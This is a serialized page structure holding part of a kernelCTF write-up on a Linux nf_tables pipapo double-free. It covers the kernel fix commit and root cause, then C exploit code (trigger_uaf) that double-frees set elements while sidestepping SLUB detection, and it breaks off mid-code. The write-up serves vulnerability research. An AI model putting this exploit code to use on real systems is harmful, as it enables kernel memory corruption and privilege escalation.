added:",{"type":23,"tag":202,"props":53873,"children":53877},{"className":53874,"code":53875,"language":53876,"meta":7,"style":7},"language-txt shiki shiki-themes slack-dark","New elements that reside in the clone are not released in case that the\ntransaction is aborted.\n\n[16302.231754] ------------[ cut here ]------------\n[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[...]\n[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G W 5.19.0-rc3+ #155\n[...]\n[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 05\n[...]\n[16302.231917] Call Trace:\n[16302.231919] \u003CTASK>\n[16302.231921] __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n[16302.231934] nf_tables_abort+0x30/0x50 [nf_tables]\n[16302.231946] nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n[16302.231952] ? __nla_validate_parse+0x48/0x190\n[16302.231959] nfnetlink_rcv+0x110/0x129 [nfnetlink]\n[16302.231963] netlink_unicast+0x211/0x340\n[16302.231969] netlink_sendmsg+0x21e/0x460\n\nAdd nft_set_pipapo_match_destroy() helper function to release the\nelements in the lookup tables.\n\nStefano Brivio says: \"We additionally look for elements pointers in the\ncloned matching data if priv->dirty is set, because that means that\ncloned data might point to additional elements we did not commit to the\nworking copy yet (such as the abort path case, but perhaps not limited\nto it).\"\n\nFixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\nReviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\nSigned-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n","txt",[53878],{"type":23,"tag":209,"props":53879,"children":53880},{"__ignoreMap":7},[53881,53889,53897,53904,53912,53920,53927,53935,53942,53950,53958,53965,53973,53981,53989,53997,54005,54013,54021,54029,54037,54044,54052,54060,54067,54075,54083,54091,54099,54107,54114,54122,54130],{"type":23,"tag":213,"props":53882,"children":53883},{"class":215,"line":216},[53884],{"type":23,"tag":213,"props":53885,"children":53886},{},[53887],{"type":28,"value":53888},"New elements that reside in the clone are not released in case that the\n",{"type":23,"tag":213,"props":53890,"children":53891},{"class":215,"line":226},[53892],{"type":23,"tag":213,"props":53893,"children":53894},{},[53895],{"type":28,"value":53896},"transaction is aborted.\n",{"type":23,"tag":213,"props":53898,"children":53899},{"class":215,"line":524},[53900],{"type":23,"tag":213,"props":53901,"children":53902},{"emptyLinePlaceholder":18},[53903],{"type":28,"value":530},{"type":23,"tag":213,"props":53905,"children":53906},{"class":215,"line":533},[53907],{"type":23,"tag":213,"props":53908,"children":53909},{},[53910],{"type":28,"value":53911},"[16302.231754] ------------[ cut here ]------------\n",{"type":23,"tag":213,"props":53913,"children":53914},{"class":215,"line":543},[53915],{"type":23,"tag":213,"props":53916,"children":53917},{},[53918],{"type":28,"value":53919},"[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":23,"tag":213,"props":53921,"children":53922},{"class":215,"line":551},[53923],{"type":23,"tag":213,"props":53924,"children":53925},{},[53926],{"type":28,"value":10401},{"type":23,"tag":213,"props":53928,"children":53929},{"class":215,"line":570},[53930],{"type":23,"tag":213,"props":53931,"children":53932},{},[53933],{"type":28,"value":53934},"[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G W 5.19.0-rc3+ #155\n",{"type":23,"tag":213,"props":53936,"children":53937},{"class":215,"line":655},[53938],{"type":23,"tag":213,"props":53939,"children":53940},{},[53941],{"type":28,"value":10401},{"type":23,"tag":213,"props":53943,"children":53944},{"class":215,"line":1176},[53945],{"type":23,"tag":213,"props":53946,"children":53947},{},[53948],{"type":28,"value":53949},"[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":23,"tag":213,"props":53951,"children":53952},{"class":215,"line":1202},[53953],{"type":23,"tag":213,"props":53954,"children":53955},{},[53956],{"type":28,"value":53957},"[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 05\n",{"type":23,"tag":213,"props":53959,"children":53960},{"class":215,"line":1758},[53961],{"type":23,"tag":213,"props":53962,"children":53963},{},[53964],{"type":28,"value":10401},{"type":23,"tag":213,"props":53966,"children":53967},{"class":215,"line":1767},[53968],{"type":23,"tag":213,"props":53969,"children":53970},{},[53971],{"type":28,"value":53972},"[16302.231917] Call Trace:\n",{"type":23,"tag":213,"props":53974,"children":53975},{"class":215,"line":1789},[53976],{"type":23,"tag":213,"props":53977,"children":53978},{},[53979],{"type":28,"value":53980},"[16302.231919] \u003CTASK>\n",{"type":23,"tag":213,"props":53982,"children":53983},{"class":215,"line":1812},[53984],{"type":23,"tag":213,"props":53985,"children":53986},{},[53987],{"type":28,"value":53988},"[16302.231921] __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n",{"type":23,"tag":213,"props":53990,"children":53991},{"class":215,"line":1838},[53992],{"type":23,"tag":213,"props":53993,"children":53994},{},[53995],{"type":28,"value":53996},"[16302.231934] nf_tables_abort+0x30/0x50 [nf_tables]\n",{"type":23,"tag":213,"props":53998,"children":53999},{"class":215,"line":1851},[54000],{"type":23,"tag":213,"props":54001,"children":54002},{},[54003],{"type":28,"value":54004},"[16302.231946] nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n",{"type":23,"tag":213,"props":54006,"children":54007},{"class":215,"line":1864},[54008],{"type":23,"tag":213,"props":54009,"children":54010},{},[54011],{"type":28,"value":54012},"[16302.231952] ? __nla_validate_parse+0x48/0x190\n",{"type":23,"tag":213,"props":54014,"children":54015},{"class":215,"line":1890},[54016],{"type":23,"tag":213,"props":54017,"children":54018},{},[54019],{"type":28,"value":54020},"[16302.231959] nfnetlink_rcv+0x110/0x129 [nfnetlink]\n",{"type":23,"tag":213,"props":54022,"children":54023},{"class":215,"line":1899},[54024],{"type":23,"tag":213,"props":54025,"children":54026},{},[54027],{"type":28,"value":54028},"[16302.231963] netlink_unicast+0x211/0x340\n",{"type":23,"tag":213,"props":54030,"children":54031},{"class":215,"line":1912},[54032],{"type":23,"tag":213,"props":54033,"children":54034},{},[54035],{"type":28,"value":54036},"[16302.231969] netlink_sendmsg+0x21e/0x460\n",{"type":23,"tag":213,"props":54038,"children":54039},{"class":215,"line":1921},[54040],{"type":23,"tag":213,"props":54041,"children":54042},{"emptyLinePlaceholder":18},[54043],{"type":28,"value":530},{"type":23,"tag":213,"props":54045,"children":54046},{"class":215,"line":3879},[54047],{"type":23,"tag":213,"props":54048,"children":54049},{},[54050],{"type":28,"value":54051},"Add nft_set_pipapo_match_destroy() helper function to release the\n",{"type":23,"tag":213,"props":54053,"children":54054},{"class":215,"line":3887},[54055],{"type":23,"tag":213,"props":54056,"children":54057},{},[54058],{"type":28,"value":54059},"elements in the lookup tables.\n",{"type":23,"tag":213,"props":54061,"children":54062},{"class":215,"line":3918},[54063],{"type":23,"tag":213,"props":54064,"children":54065},{"emptyLinePlaceholder":18},[54066],{"type":28,"value":530},{"type":23,"tag":213,"props":54068,"children":54069},{"class":215,"line":3926},[54070],{"type":23,"tag":213,"props":54071,"children":54072},{},[54073],{"type":28,"value":54074},"Stefano Brivio says: \"We additionally look for elements pointers in the\n",{"type":23,"tag":213,"props":54076,"children":54077},{"class":215,"line":3986},[54078],{"type":23,"tag":213,"props":54079,"children":54080},{},[54081],{"type":28,"value":54082},"cloned matching data if priv->dirty is set, because that means that\n",{"type":23,"tag":213,"props":54084,"children":54085},{"class":215,"line":9132},[54086],{"type":23,"tag":213,"props":54087,"children":54088},{},[54089],{"type":28,"value":54090},"cloned data might point to additional elements we did not commit to the\n",{"type":23,"tag":213,"props":54092,"children":54093},{"class":215,"line":9150},[54094],{"type":23,"tag":213,"props":54095,"children":54096},{},[54097],{"type":28,"value":54098},"working copy yet (such as the abort path case, but perhaps not limited\n",{"type":23,"tag":213,"props":54100,"children":54101},{"class":215,"line":9195},[54102],{"type":23,"tag":213,"props":54103,"children":54104},{},[54105],{"type":28,"value":54106},"to it).\"\n",{"type":23,"tag":213,"props":54108,"children":54109},{"class":215,"line":9301},[54110],{"type":23,"tag":213,"props":54111,"children":54112},{"emptyLinePlaceholder":18},[54113],{"type":28,"value":530},{"type":23,"tag":213,"props":54115,"children":54116},{"class":215,"line":23557},[54117],{"type":23,"tag":213,"props":54118,"children":54119},{},[54120],{"type":28,"value":54121},"Fixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\n",{"type":23,"tag":213,"props":54123,"children":54124},{"class":215,"line":23592},[54125],{"type":23,"tag":213,"props":54126,"children":54127},{},[54128],{"type":28,"value":54129},"Reviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\n",{"type":23,"tag":213,"props":54131,"children":54132},{"class":215,"line":23600},[54133],{"type":23,"tag":213,"props":54134,"children":54135},{},[54136],{"type":28,"value":54137},"Signed-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n",{"type":23,"tag":24,"props":54139,"children":54140},{},[54141,54143,54148,54150,54155,54157,54162,54164,54169],{"type":28,"value":54142},"As we previously discussed, committing changes to a pipapo ",{"type":23,"tag":209,"props":54144,"children":54146},{"className":54145},[],[54147],{"type":28,"value":51072},{"type":28,"value":54149}," is implemented by creating a clone of the match object, to which changes are made during the control plane. Later, if we enter the commit path, the changes are committed in the ",{"type":23,"tag":209,"props":54151,"children":54153},{"className":54152},[],[54154],{"type":28,"value":52398},{"type":28,"value":54156}," method by simply replacing the ",{"type":23,"tag":209,"props":54158,"children":54160},{"className":54159},[],[54161],{"type":28,"value":51072},{"type":28,"value":54163},"s match object with its updated clone. So checking the ",{"type":23,"tag":209,"props":54165,"children":54167},{"className":54166},[],[54168],{"type":28,"value":51026},{"type":28,"value":54170}," flag and then calling free again ensures we also free uncommitted changes.",{"type":23,"tag":24,"props":54172,"children":54173},{},[54174,54176,54181],{"type":28,"value":54175},"This doesn't make sense in the commit path but only in the abort path. Evidently, when aborting the transaction that creates the ",{"type":23,"tag":209,"props":54177,"children":54179},{"className":54178},[],[54180],{"type":28,"value":51072},{"type":28,"value":54182},", there will be no committed changes, and there will only be the elements inside the clone, which will end up never being committed. So, to make sure we free these uncommitted elements, it's crucial to free what's in the clone.",{"type":23,"tag":24,"props":54184,"children":54185},{},[54186,54188,54194,54196,54201,54203,54208],{"type":28,"value":54187},"When this code was introduced, it was only reachable from the abort path because it was the only path where ",{"type":23,"tag":209,"props":54189,"children":54191},{"className":54190},[],[54192],{"type":28,"value":54193},"set->ops->destroy()",{"type":28,"value":54195}," could be called without clearing the ",{"type":23,"tag":209,"props":54197,"children":54199},{"className":54198},[],[54200],{"type":28,"value":51026},{"type":28,"value":54202}," flag, which was fine considering you didn't have duplicated views of the ",{"type":23,"tag":209,"props":54204,"children":54206},{"className":54205},[],[54207],{"type":28,"value":51064},{"type":28,"value":54209},"s, so they would all be in the clone set.",{"type":23,"tag":24,"props":54211,"children":54212},{},[54213,54215,54220],{"type":28,"value":54214},"But when the ",{"type":23,"tag":209,"props":54216,"children":54218},{"className":54217},[],[54219],{"type":28,"value":53782},{"type":28,"value":54221}," flag was introduced, some assumptions about the commit path were changed. It created a new way of reaching this code while having already committed changes in the set. This means any already committed changes will have a view in the \"normal\" match object and one in the clone.",{"type":23,"tag":24,"props":54223,"children":54224},{},[54225],{"type":28,"value":54226},"The vulnerability was fixed by only deleting elements from the clone because the clone should have all views of committed and uncommitted changes, effectively eliminating the double-free vulnerability.",{"type":23,"tag":47,"props":54228,"children":54230},{"id":54229},"kernelctf-exploit",[54231],{"type":28,"value":54232},"KernelCTF exploit",{"type":23,"tag":24,"props":54234,"children":54235},{},[54236,54238,54244,54246,54253],{"type":28,"value":54237},"Now that we know the full story of the bug, let's look into how I exploited it in the KernelCTF LTS instance before getting into the universal exploit. A great deal of the exploit is based on the ",{"type":23,"tag":209,"props":54239,"children":54241},{"className":54240},[],[54242],{"type":28,"value":54243},"nft_object + udata",{"type":28,"value":54245}," technique shared by lonial con in a ",{"type":23,"tag":36,"props":54247,"children":54250},{"href":54248,"rel":54249},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-4004_lts_cos_mitigation/docs/exploit.md",[40],[54251],{"type":28,"value":54252},"previous kernelCTF exploit",{"type":28,"value":124},{"type":23,"tag":9693,"props":54255,"children":54257},{"id":54256},"trigger-uafavoid-double-free-detection",[54258],{"type":28,"value":54259},"Trigger UAF/avoid double-free detection",{"type":23,"tag":24,"props":54261,"children":54262},{},[54263,54265,54271,54273,54279],{"type":28,"value":54264},"The SLUB allocator has a naive double-free detection mechanism to spot straightforward sequences, such as the same object being added to the free-list twice in a row without any other objects being added in between.\nAs we have seen, ",{"type":23,"tag":209,"props":54266,"children":54268},{"className":54267},[],[54269],{"type":28,"value":54270},"nft_set_pipapo_match_destroy",{"type":28,"value":54272}," iterates over the ",{"type":23,"tag":209,"props":54274,"children":54276},{"className":54275},[],[54277],{"type":28,"value":54278},"setelems",{"type":28,"value":54280}," in the set and frees each of them, so it should be relatively simple to avoid detection by having more than one element in the set, in which case the following will happen:",{"type":23,"tag":131,"props":54282,"children":54283},{},[54284,54289,54294,54299],{"type":23,"tag":135,"props":54285,"children":54286},{},[54287],{"type":28,"value":54288},"Element A gets freed",{"type":23,"tag":135,"props":54290,"children":54291},{},[54292],{"type":28,"value":54293},"Element B gets free",{"type":23,"tag":135,"props":54295,"children":54296},{},[54297],{"type":28,"value":54298},"Element A gets freed again (double-free)",{"type":23,"tag":135,"props":54300,"children":54301},{},[54302],{"type":28,"value":54303},"Element B gets freed again (double-free)",{"type":23,"tag":202,"props":54305,"children":54307},{"className":29167,"code":54306,"language":29169,"meta":7,"style":7},"[...]\nstatic void trigger_uaf(struct mnl_socket *nl, size_t size, int *msgqids)\n{\n[...]\n // TRANSACTION 2\n[...]\n\n // create pipapo set\n uint8_t desc[2] = {16, 16};\n set = create_set(\n batch, seq++, exploit_table_name, \"pwn_set\", 0x1337,\n NFT_SET_INTERVAL | NFT_SET_OBJECT | NFT_SET_CONCAT, KEY_LEN, 2, &desc, NULL, 0, NFT_OBJECT_CT_EXPECT);\n\n // commit 2 elems to set (elems A and B that will be double-freed)\n for (int i = 0; i \u003C 2; i++)\n {\n elem[i] = nftnl_set_elem_alloc();\n memset(key, 0x41 + i, KEY_LEN);\n nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_USERDATA, &udata_buf, size);\n nftnl_set_elem_add(set, elem[i]);\n }\n[...]\n\n // TRANSACTION 3\n[...]\n set = nftnl_set_alloc();\n nftnl_set_set_u32(set, NFTNL_SET_FAMILY, family);\n nftnl_set_set_str(set, NFTNL_SET_TABLE, exploit_table_name);\n nftnl_set_set_str(set, NFTNL_SET_NAME, \"pwn_set\");\n\n // make priv->dirty true\n memset(key, 0xff, KEY_LEN);\n elem[3] = nftnl_set_elem_alloc();\n nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n nftnl_set_elem_add(set, elem[3]);\n[...]\n\n // double-free commited elems\n[...]\n nftnl_set_free(set);\n}\n[...]\n",[54308],{"type":23,"tag":209,"props":54309,"children":54310},{"__ignoreMap":7},[54311,54318,54379,54386,54393,54401,54408,54415,54423,54447,54468,54502,54563,54570,54578,54630,54637,54663,54690,54729,54758,54787,54809,54816,54823,54830,54838,54845,54853,54866,54879,54899,54906,54914,54936,54968,55013,55049,55077,55084,55091,55099,55106,55122,55129],{"type":23,"tag":213,"props":54312,"children":54313},{"class":215,"line":216},[54314],{"type":23,"tag":213,"props":54315,"children":54316},{"style":220},[54317],{"type":28,"value":10401},{"type":23,"tag":213,"props":54319,"children":54320},{"class":215,"line":226},[54321,54326,54330,54335,54339,54344,54348,54353,54358,54362,54366,54370,54375],{"type":23,"tag":213,"props":54322,"children":54323},{"style":220},[54324],{"type":28,"value":54325},"static void trigger_uaf(",{"type":23,"tag":213,"props":54327,"children":54328},{"style":230},[54329],{"type":28,"value":9486},{"type":23,"tag":213,"props":54331,"children":54332},{"style":290},[54333],{"type":28,"value":54334}," mnl_socket",{"type":23,"tag":213,"props":54336,"children":54337},{"style":230},[54338],{"type":28,"value":282},{"type":23,"tag":213,"props":54340,"children":54341},{"style":268},[54342],{"type":28,"value":54343},"nl",{"type":23,"tag":213,"props":54345,"children":54346},{"style":220},[54347],{"type":28,"value":424},{"type":23,"tag":213,"props":54349,"children":54350},{"style":230},[54351],{"type":28,"value":54352},"size_t",{"type":23,"tag":213,"props":54354,"children":54355},{"style":268},[54356],{"type":28,"value":54357}," size",{"type":23,"tag":213,"props":54359,"children":54360},{"style":220},[54361],{"type":28,"value":424},{"type":23,"tag":213,"props":54363,"children":54364},{"style":230},[54365],{"type":28,"value":19100},{"type":23,"tag":213,"props":54367,"children":54368},{"style":230},[54369],{"type":28,"value":282},{"type":23,"tag":213,"props":54371,"children":54372},{"style":268},[54373],{"type":28,"value":54374},"msgqids",{"type":23,"tag":213,"props":54376,"children":54377},{"style":220},[54378],{"type":28,"value":2183},{"type":23,"tag":213,"props":54380,"children":54381},{"class":215,"line":524},[54382],{"type":23,"tag":213,"props":54383,"children":54384},{"style":220},[54385],{"type":28,"value":10964},{"type":23,"tag":213,"props":54387,"children":54388},{"class":215,"line":533},[54389],{"type":23,"tag":213,"props":54390,"children":54391},{"style":220},[54392],{"type":28,"value":10401},{"type":23,"tag":213,"props":54394,"children":54395},{"class":215,"line":543},[54396],{"type":23,"tag":213,"props":54397,"children":54398},{"style":220},[54399],{"type":28,"value":54400}," // TRANSACTION 2\n",{"type":23,"tag":213,"props":54402,"children":54403},{"class":215,"line":551},[54404],{"type":23,"tag":213,"props":54405,"children":54406},{"style":220},[54407],{"type":28,"value":10401},{"type":23,"tag":213,"props":54409,"children":54410},{"class":215,"line":570},[54411],{"type":23,"tag":213,"props":54412,"children":54413},{"emptyLinePlaceholder":18},[54414],{"type":28,"value":530},{"type":23,"tag":213,"props":54416,"children":54417},{"class":215,"line":655},[54418],{"type":23,"tag":213,"props":54419,"children":54420},{"style":220},[54421],{"type":28,"value":54422}," // create pipapo set\n",{"type":23,"tag":213,"props":54424,"children":54425},{"class":215,"line":1176},[54426,54431,54435,54439,54443],{"type":23,"tag":213,"props":54427,"children":54428},{"style":220},[54429],{"type":28,"value":54430}," uint8_t desc[2] = {",{"type":23,"tag":213,"props":54432,"children":54433},{"style":514},[54434],{"type":28,"value":40903},{"type":23,"tag":213,"props":54436,"children":54437},{"style":220},[54438],{"type":28,"value":424},{"type":23,"tag":213,"props":54440,"children":54441},{"style":514},[54442],{"type":28,"value":40903},{"type":23,"tag":213,"props":54444,"children":54445},{"style":220},[54446],{"type":28,"value":16629},{"type":23,"tag":213,"props":54448,"children":54449},{"class":215,"line":1202},[54450,54455,54459,54464],{"type":23,"tag":213,"props":54451,"children":54452},{"style":220},[54453],{"type":28,"value":54454}," set ",{"type":23,"tag":213,"props":54456,"children":54457},{"style":274},[54458],{"type":28,"value":3190},{"type":23,"tag":213,"props":54460,"children":54461},{"style":257},[54462],{"type":28,"value":54463}," create_set",{"type":23,"tag":213,"props":54465,"children":54466},{"style":220},[54467],{"type":28,"value":1511},{"type":23,"tag":213,"props":54469,"children":54470},{"class":215,"line":1758},[54471,54476,54480,54485,54490,54494,54498],{"type":23,"tag":213,"props":54472,"children":54473},{"style":220},[54474],{"type":28,"value":54475}," batch, seq",{"type":23,"tag":213,"props":54477,"children":54478},{"style":274},[54479],{"type":28,"value":51322},{"type":23,"tag":213,"props":54481,"children":54482},{"style":220},[54483],{"type":28,"value":54484},", exploit_table_name, ",{"type":23,"tag":213,"props":54486,"children":54487},{"style":246},[54488],{"type":28,"value":54489},"\"pwn_set\"",{"type":23,"tag":213,"props":54491,"children":54492},{"style":220},[54493],{"type":28,"value":424},{"type":23,"tag":213,"props":54495,"children":54496},{"style":514},[54497],{"type":28,"value":43552},{"type":23,"tag":213,"props":54499,"children":54500},{"style":220},[54501],{"type":28,"value":944},{"type":23,"tag":213,"props":54503,"children":54504},{"class":215,"line":1767},[54505,54510,54514,54519,54523,54528,54532,54536,54540,54545,54550,54554,54558],{"type":23,"tag":213,"props":54506,"children":54507},{"style":220},[54508],{"type":28,"value":54509}," NFT_SET_INTERVAL ",{"type":23,"tag":213,"props":54511,"children":54512},{"style":274},[54513],{"type":28,"value":10499},{"type":23,"tag":213,"props":54515,"children":54516},{"style":220},[54517],{"type":28,"value":54518}," NFT_SET_OBJECT ",{"type":23,"tag":213,"props":54520,"children":54521},{"style":274},[54522],{"type":28,"value":10499},{"type":23,"tag":213,"props":54524,"children":54525},{"style":220},[54526],{"type":28,"value":54527}," NFT_SET_CONCAT, KEY_LEN, ",{"type":23,"tag":213,"props":54529,"children":54530},{"style":514},[54531],{"type":28,"value":3221},{"type":23,"tag":213,"props":54533,"children":54534},{"style":220},[54535],{"type":28,"value":424},{"type":23,"tag":213,"props":54537,"children":54538},{"style":274},[54539],{"type":28,"value":405},{"type":23,"tag":213,"props":54541,"children":54542},{"style":220},[54543],{"type":28,"value":54544},"desc, ",{"type":23,"tag":213,"props":54546,"children":54547},{"style":230},[54548],{"type":28,"value":54549},"NULL",{"type":23,"tag":213,"props":54551,"children":54552},{"style":220},[54553],{"type":28,"value":424},{"type":23,"tag":213,"props":54555,"children":54556},{"style":514},[54557],{"type":28,"value":4116},{"type":23,"tag":213,"props":54559,"children":54560},{"style":220},[54561],{"type":28,"value":54562},", NFT_OBJECT_CT_EXPECT);\n",{"type":23,"tag":213,"props":54564,"children":54565},{"class":215,"line":1789},[54566],{"type":23,"tag":213,"props":54567,"children":54568},{"emptyLinePlaceholder":18},[54569],{"type":28,"value":530},{"type":23,"tag":213,"props":54571,"children":54572},{"class":215,"line":1812},[54573],{"type":23,"tag":213,"props":54574,"children":54575},{"style":537},[54576],{"type":28,"value":54577}," // commit 2 elems to set (elems A and B that will be double-freed)\n",{"type":23,"tag":213,"props":54579,"children":54580},{"class":215,"line":1838},[54581,54585,54589,54593,54598,54602,54606,54610,54614,54618,54622,54626],{"type":23,"tag":213,"props":54582,"children":54583},{"style":1362},[54584],{"type":28,"value":3131},{"type":23,"tag":213,"props":54586,"children":54587},{"style":220},[54588],{"type":28,"value":400},{"type":23,"tag":213,"props":54590,"children":54591},{"style":230},[54592],{"type":28,"value":19100},{"type":23,"tag":213,"props":54594,"children":54595},{"style":220},[54596],{"type":28,"value":54597}," i ",{"type":23,"tag":213,"props":54599,"children":54600},{"style":274},[54601],{"type":28,"value":3190},{"type":23,"tag":213,"props":54603,"children":54604},{"style":514},[54605],{"type":28,"value":517},{"type":23,"tag":213,"props":54607,"children":54608},{"style":220},[54609],{"type":28,"value":51286},{"type":23,"tag":213,"props":54611,"children":54612},{"style":274},[54613],{"type":28,"value":434},{"type":23,"tag":213,"props":54615,"children":54616},{"style":514},[54617],{"type":28,"value":8022},{"type":23,"tag":213,"props":54619,"children":54620},{"style":220},[54621],{"type":28,"value":51317},{"type":23,"tag":213,"props":54623,"children":54624},{"style":274},[54625],{"type":28,"value":51322},{"type":23,"tag":213,"props":54627,"children":54628},{"style":220},[54629],{"type":28,"value":2183},{"type":23,"tag":213,"props":54631,"children":54632},{"class":215,"line":1851},[54633],{"type":23,"tag":213,"props":54634,"children":54635},{"style":220},[54636],{"type":28,"value":2725},{"type":23,"tag":213,"props":54638,"children":54639},{"class":215,"line":1864},[54640,54645,54650,54654,54659],{"type":23,"tag":213,"props":54641,"children":54642},{"style":268},[54643],{"type":28,"value":54644}," elem",{"type":23,"tag":213,"props":54646,"children":54647},{"style":220},[54648],{"type":28,"value":54649},"[i] ",{"type":23,"tag":213,"props":54651,"children":54652},{"style":274},[54653],{"type":28,"value":3190},{"type":23,"tag":213,"props":54655,"children":54656},{"style":257},[54657],{"type":28,"value":54658}," nftnl_set_elem_alloc",{"type":23,"tag":213,"props":54660,"children":54661},{"style":220},[54662],{"type":28,"value":3759},{"type":23,"tag":213,"props":54664,"children":54665},{"class":215,"line":1890},[54666,54671,54676,54681,54685],{"type":23,"tag":213,"props":54667,"children":54668},{"style":257},[54669],{"type":28,"value":54670}," memset",{"type":23,"tag":213,"props":54672,"children":54673},{"style":220},[54674],{"type":28,"value":54675},"(key, ",{"type":23,"tag":213,"props":54677,"children":54678},{"style":514},[54679],{"type":28,"value":54680},"0x41",{"type":23,"tag":213,"props":54682,"children":54683},{"style":274},[54684],{"type":28,"value":8989},{"type":23,"tag":213,"props":54686,"children":54687},{"style":220},[54688],{"type":28,"value":54689}," i, KEY_LEN);\n",{"type":23,"tag":213,"props":54691,"children":54692},{"class":215,"line":1899},[54693,54698,54702,54706,54711,54716,54720,54725],{"type":23,"tag":213,"props":54694,"children":54695},{"style":257},[54696],{"type":28,"value":54697}," nftnl_set_elem_set",{"type":23,"tag":213,"props":54699,"children":54700},{"style":220},[54701],{"type":28,"value":265},{"type":23,"tag":213,"props":54703,"children":54704},{"style":268},[54705],{"type":28,"value":52117},{"type":23,"tag":213,"props":54707,"children":54708},{"style":220},[54709],{"type":28,"value":54710},"[i], NFTNL_SET_ELEM_OBJREF, ",{"type":23,"tag":213,"props":54712,"children":54713},{"style":246},[54714],{"type":28,"value":54715},"\"pwnobj\"",{"type":23,"tag":213,"props":54717,"children":54718},{"style":220},[54719],{"type":28,"value":424},{"type":23,"tag":213,"props":54721,"children":54722},{"style":514},[54723],{"type":28,"value":54724},"7",{"type":23,"tag":213,"props":54726,"children":54727},{"style":220},[54728],{"type":28,"value":2867},{"type":23,"tag":213,"props":54730,"children":54731},{"class":215,"line":1912},[54732,54736,54740,54744,54749,54753],{"type":23,"tag":213,"props":54733,"children":54734},{"style":257},[54735],{"type":28,"value":54697},{"type":23,"tag":213,"props":54737,"children":54738},{"style":220},[54739],{"type":28,"value":265},{"type":23,"tag":213,"props":54741,"children":54742},{"style":268},[54743],{"type":28,"value":52117},{"type":23,"tag":213,"props":54745,"children":54746},{"style":220},[54747],{"type":28,"value":54748},"[i], NFTNL_SET_ELEM_KEY, ",{"type":23,"tag":213,"props":54750,"children":54751},{"style":274},[54752],{"type":28,"value":405},{"type":23,"tag":213,"props":54754,"children":54755},{"style":220},[54756],{"type":28,"value":54757},"key, KEY_LEN);\n",{"type":23,"tag":213,"props":54759,"children":54760},{"class":215,"line":1921},[54761,54765,54769,54773,54778,54782],{"type":23,"tag":213,"props":54762,"children":54763},{"style":257},[54764],{"type":28,"value":54697},{"type":23,"tag":213,"props":54766,"children":54767},{"style":220},[54768],{"type":28,"value":265},{"type":23,"tag":213,"props":54770,"children":54771},{"style":268},[54772],{"type":28,"value":52117},{"type":23,"tag":213,"props":54774,"children":54775},{"style":220},[54776],{"type":28,"value":54777},"[i], NFTNL_SET_ELEM_USERDATA, ",{"type":23,"tag":213,"props":54779,"children":54780},{"style":274},[54781],{"type":28,"value":405},{"type":23,"tag":213,"props":54783,"children":54784},{"style":220},[54785],{"type":28,"value":54786},"udata_buf, size);\n",{"type":23,"tag":213,"props":54788,"children":54789},{"class":215,"line":3879},[54790,54795,54800,54804],{"type":23,"tag":213,"props":54791,"children":54792},{"style":257},[54793],{"type":28,"value":54794}," nftnl_set_elem_add",{"type":23,"tag":213,"props":54796,"children":54797},{"style":220},[54798],{"type":28,"value":54799},"(set, ",{"type":23,"tag":213,"props":54801,"children":54802},{"style":268},[54803],{"type":28,"value":52117},{"type":23,"tag":213,"props":54805,"children":54806},{"style":220},[54807],{"type":28,"value":54808},"[i]);\n",{"type":23,"tag":213,"props":54810,"children":54811},{"class":215,"line":3887},[54812],{"type":23,"tag":213,"props":54813,"children":54814},{"style":220},[54815],{"type":28,"value":2875},{"type":23,"tag":213,"props":54817,"children":54818},{"class":215,"line":3918},[54819],{"type":23,"tag":213,"props":54820,"children":54821},{"style":220},[54822],{"type":28,"value":10401},{"type":23,"tag":213,"props":54824,"children":54825},{"class":215,"line":3926},[54826],{"type":23,"tag":213,"props":54827,"children":54828},{"emptyLinePlaceholder":18},[54829],{"type":28,"value":530},{"type":23,"tag":213,"props":54831,"children":54832},{"class":215,"line":3986},[54833],{"type":23,"tag":213,"props":54834,"children":54835},{"style":220},[54836],{"type":28,"value":54837}," // TRANSACTION 3\n",{"type":23,"tag":213,"props":54839,"children":54840},{"class":215,"line":9132},[54841],{"type":23,"tag":213,"props":54842,"children":54843},{"style":220},[54844],{"type":28,"value":10401},{"type":23,"tag":213,"props":54846,"children":54847},{"class":215,"line":9150},[54848],{"type":23,"tag":213,"props":54849,"children":54850},{"style":220},[54851],{"type":28,"value":54852}," set = nftnl_set_alloc();\n",{"type":23,"tag":213,"props":54854,"children":54855},{"class":215,"line":9195},[54856,54861],{"type":23,"tag":213,"props":54857,"children":54858},{"style":257},[54859],{"type":28,"value":54860}," 